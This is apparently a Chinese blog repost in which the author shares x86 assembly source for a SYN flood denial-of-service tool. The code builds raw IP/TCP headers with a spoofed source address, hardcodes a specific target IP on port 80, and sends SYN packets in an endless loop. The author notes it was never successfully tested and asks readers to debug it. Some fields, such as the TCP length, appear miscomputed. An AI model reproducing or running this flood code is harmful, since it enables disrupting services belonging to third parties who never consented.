您的位置:首页 > 其它

自己用汇编写的一个SYN攻击软件,俗称DDOS攻击

2016-06-07 23:07 1086 查看
由于本人使用的是XP SP3版本,此版本关闭了发送原始套接字的功能,所以没有最后调试成功。

有WIN2000的朋友能够帮忙调试的话请把调试结果高诉我,调试时可用科来软件嗅探数据包。

.386

.model flat, stdcall

option casemap :none

include   windows.inc

include   user32.inc

includelib user32.lib

include   kernel32.inc

includelib kernel32.lib

include   wsock32.inc

includelib wsock32.lib

;;IP数据包头部结构定义

ip_head struct

h_lenver db ? ;4位IP版本号+4位首部长度

TOS   db ? ;8位服务类型

ip_len dw ? ;16位IP+TCP数据包总长度

ident   dw ? ;16位标识

frag_and_flags dw ? ;3位分片标志+13位分片偏移

ttl   db ? ;8位生存时间

proto1 db ? ;8位协议类型

checksum dw ? ;16位校验和

sourceIP dd ? ;32位源IP

destIP dd ? ;32位目的IP

ip_head ends

;;TCP头部结构定义

tcp_head struct

th_sport   dw ? ;16位源端口

th_dport   dw ? ;16位目的端口

th_seq   dd ? ;32位序列号

th_ack   dd ? ;32位确认号

th_lenres db ? ;4位首部长度+6位保留字,注意这个字段和下面的标志共16位,因6位保留为0,为了定义方便所以填充时可按8位填充两个字段

th_flag   db ? ;6位标志位

th_win   dw ? ;16位窗口大小

th_sum   dw ? ;16位校验和

th_urp   dw ? ;16位紧急数据偏移量

tcp_head ends

;;伪TCP头部结构定义,伪TCP头部是用来求效验和的

wtcp_h struct

saddr   dd ? ;32位IP头部里的源地址

daddr   dd ? ;32位IP头部里的目的地址

mbz   db ? ;8位全0

ptcl   db ? ;8位协议类型,TCP是6

tcpl   dw ? ;16位TCP总长度

wtcp_h ends

.data?

s dd ?

SendBuf db 64 dup (?) ;缓冲区

Sendlen dd ?   ;缓冲区有效长度

stWsa   WSADATA <>

stsin   sockaddr_in <>

iphead ip_head <>

tcphead tcp_head <>

wtcp   wtcp_h <>

.data

flag db TRUE

.const

syn_s db '58.30.17.108',0 ;攻击目标地址

syn_c db '10.1.1.100',0 ;攻击源地址

ip_len equ sizeof ip_head+sizeof tcp_head ;IP+TCP总长度

.code

;求校验和的子程序,参数一是缓冲区地址,参数二是缓冲区有效长度

_checksum proc uses ebx ecx edi lp,sum

local @szBuffer[64]:byte

mov esi,lp   ;内存拷贝代码开始

lea edi,@szBuffer

mov ecx,sum   ;大小

cld

rep movsb   ;内存拷贝代码结束

xor eax,eax

xor ebx,ebx

   xor ecx,ecx

lea edi,@szBuffer

mov ax,[edi]

clc

.while ebx<sum

   add ebx,2

   .break .if ebx == sum

   mov cx,[ebx+edi]

   add ax,cx

   .if CARRY?

    add ax,1

    clc

   .endif

.endw

not ax

ret

_checksum endp

start:

;填充IP首部

mov iphead.h_lenver,45h ;高4位版本号,低4位首部长度,步长4字节共20字节

mov iphead.TOS,0 ;8位服务类型

mov iphead.ip_len,ip_len ;16位IP+TCP总长度

invoke htons,iphead.ip_len ;转换为网络顺序

mov iphead.ip_len,ax

mov iphead.ident,1 ;16位标识,此数值为不固定数值,一般为网卡总发包数

xor eax,eax

mov iphead.frag_and_flags,ax ;3位分片标志+13位分片偏移,这里不分片所以为0

mov iphead.ttl,128 ;8位生存时间

mov iphead.proto1,6 ;8位协议类型.6为TCP

mov iphead.checksum,0 ;16位校验和,计算前必须为0

invoke inet_addr,addr syn_c ;转换攻击源地址为网络顺序

mov iphead.sourceIP,eax   ;转换后的IP地址保存到结构里

invoke inet_addr,addr syn_s ;转换攻击目标地址为网络顺序

mov iphead.destIP,eax   ;转换后的IP地址保存到结构里

;填充TCP首部

invoke htons,8000

mov tcphead.th_sport,ax ;16位源端口

invoke htons,80

mov tcphead.th_dport,ax ;16位目的端口

invoke htonl,1000

mov tcphead.th_seq,eax ;32位序列号,此数值不是固定数应是随机数

mov tcphead.th_ack,0 ;32位确认号,第一次握手为0

mov tcphead.th_lenres,80

mov tcphead.th_flag,2 ;6位标志位,syn

invoke htons,65535

mov tcphead.th_win,ax ;16位窗口大小

mov tcphead.th_sum,0 ;16位校验和,计算前必须为0

mov tcphead.th_urp,0 ;16位紧急数据偏移量

;填充伪TCP首部

push iphead.sourceIP

pop wtcp.saddr ;32位IP头部里的源地址

push iphead.destIP

pop wtcp.daddr ;32位IP头部里的目的地址

mov wtcp.mbz,0 ;8位全0

mov wtcp.ptcl,6 ;8位协议类型,TCP是6

mov ax,sizeof ip_head

invoke htons,ax

mov wtcp.tcpl,ax ;16位TCP总长度

;IP和TCP校验和计算

mov esi,offset wtcp   ;将tcp伪首部拷贝到

mov edi,offset SendBuf ;缓冲区SendBuf处

mov ecx,sizeof wtcp   ;大小为sizeof wtcp

cld

rep movsb   ;内存拷贝代码结束

mov esi,offset tcphead   ;将tcp首部拷贝到

mov edi,offset SendBuf+sizeof wtcp ;缓冲区SendBuf伪tcp首部后面

mov ecx,sizeof tcphead   ;大小为sizeof tcphead

cld

rep movsb   ;内存拷贝代码结束

invoke _checksum,addr SendBuf,sizeof tcphead+sizeof wtcp ;计算TCP首部效验和

mov tcphead.th_sum,ax

xor eax,eax ;缓冲区清0

mov edi,offset SendBuf

mov ecx,sizeof SendBuf

cld

rep stosb ;清0结束

mov esi,offset iphead   ;将iphead(IP首部)拷贝到

mov edi,offset SendBuf ;缓冲区SendBuf处

mov ecx,sizeof iphead   ;大小为sizeof iphead

cld

rep movsb   ;内存拷贝代码结束

mov esi,offset tcphead   ;将tcp首部拷贝到

mov edi,offset SendBuf+sizeof iphead ;缓冲区ip首部后面

mov ecx,sizeof tcphead   ;大小为sizeof tcphead

cld

rep movsb   ;内存拷贝代码结束

invoke _checksum,addr SendBuf,sizeof iphead+sizeof tcphead ;计算IP首部效验和

mov iphead.checksum,ax   ;IP首部效验和保存到结构里

;初始化SOCKET并发送数据

invoke inet_addr,addr syn_s   ;转换IP地址为网络顺序

mov stsin.sin_addr,eax   ;转换后的IP地址保存到结构里

mov stsin.sin_family,AF_INET

invoke htons,80   ;把端口转换为网络顺序

mov stsin.sin_port,ax   ;转换后端口保存到结构里

invoke WSAStartup,2h,addr stWsa   ;装载SOCKET

invoke socket,AF_INET,SOCK_RAW,IPPROTO_RAW ;初始化SOCKET为原始套接字模式

mov s,eax   ;保存初始化成功的句柄

invoke setsockopt,s,IPPROTO_IP,1,addr flag,sizeof flag

invoke WSAGetLastError

.while 1

   invoke sendto,s,addr SendBuf,sizeof iphead+sizeof tcphead,0,addr stsin,sizeof sockaddr_in   ;发送缓存里的字符到服务器

.endw

invoke closesocket,s   ;关闭SOCKET

invoke WSACleanup   ;卸载SOCKET

invoke ExitProcess,NULL   ;程序退出

end start
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: